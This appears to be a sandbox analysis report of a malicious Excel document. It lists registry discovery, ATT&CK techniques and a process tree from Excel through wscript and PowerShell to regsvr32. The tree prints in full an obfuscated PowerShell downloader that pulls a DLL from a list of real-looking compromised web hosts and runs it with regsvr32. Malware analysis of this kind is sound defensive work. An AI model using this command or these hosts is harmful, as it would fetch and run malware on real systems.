258165aeb0b5a51007f905db642a43310a374d9d973603f6576455d25d13372d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3348	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
888	powershell.exe
888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	888	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE
3348	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 4832	3348	EXCEL.EXE	88
PID 3348 wrote to memory of 4832	3348	EXCEL.EXE	88
PID 4832 wrote to memory of 888	4832	wscript.exe	89
PID 4832 wrote to memory of 888	4832	wscript.exe	89
PID 4832 wrote to memory of 3648	4832	wscript.exe	106
PID 4832 wrote to memory of 3648	4832	wscript.exe	106
PID 3648 wrote to memory of 4020	3648	cmd.exe	108
PID 3648 wrote to memory of 4020	3648	cmd.exe	108
PID 3648 wrote to memory of 4020	3648	cmd.exe	108

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\258165aeb0b5a51007f905db642a43310a374d9d973603f6576455d25d13372d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\bbiwjdf.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:ufieufieboardingschoolsoftware.comufiebackupufieVC7WKufiebouhttp:ufieufietowardsun.netufieadminufieO29Fjaufiebouhttp:ufieufie47.244.189.73ufiewell-knownufiecwxgmEZsYITufiebouhttp:ufieufiecentrobilinguelospinos.comufiewp-adminufieAivCYufiebouhttp:ufieufieqqziyuanwang.comufiewp-includesufieKtXrm5GwJufiebouhttps:ufieufiewww.swaong.comufiebufieSVSAPzeDU657xJdmJvufiebouhttps:ufieufietrasix.comufiewp-adminufieFzpdyUrlGtufiebouhttps:ufieufiemarineboyrecords.comufiefont-awesomeufiet37LOjufiebouhttps:ufieufieedgetactical.ritabilisim.comufieadminufieNbjDzEeNJufiebouhttp:ufieufiecairm.xyzufiebackup_1ufiemQPAhJhpVufiebouhttp:ufieufievrstar-park.comufiewp-includesufie0bAm9feNorwTmVrjufiebouhttps:ufieufiepanaderialaimperial.comufiewp-includesufieOi0guE0CQbyBJVgufie\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"ufie\",\"/\");iex $ghkid"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:888
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - \??\c:\windows\syswow64\regsvr32.exe
      c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
      4⤵
      System Location Discovery: System Language Discovery
      PID:4020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

System Location Discovery

T1614

System Language Discovery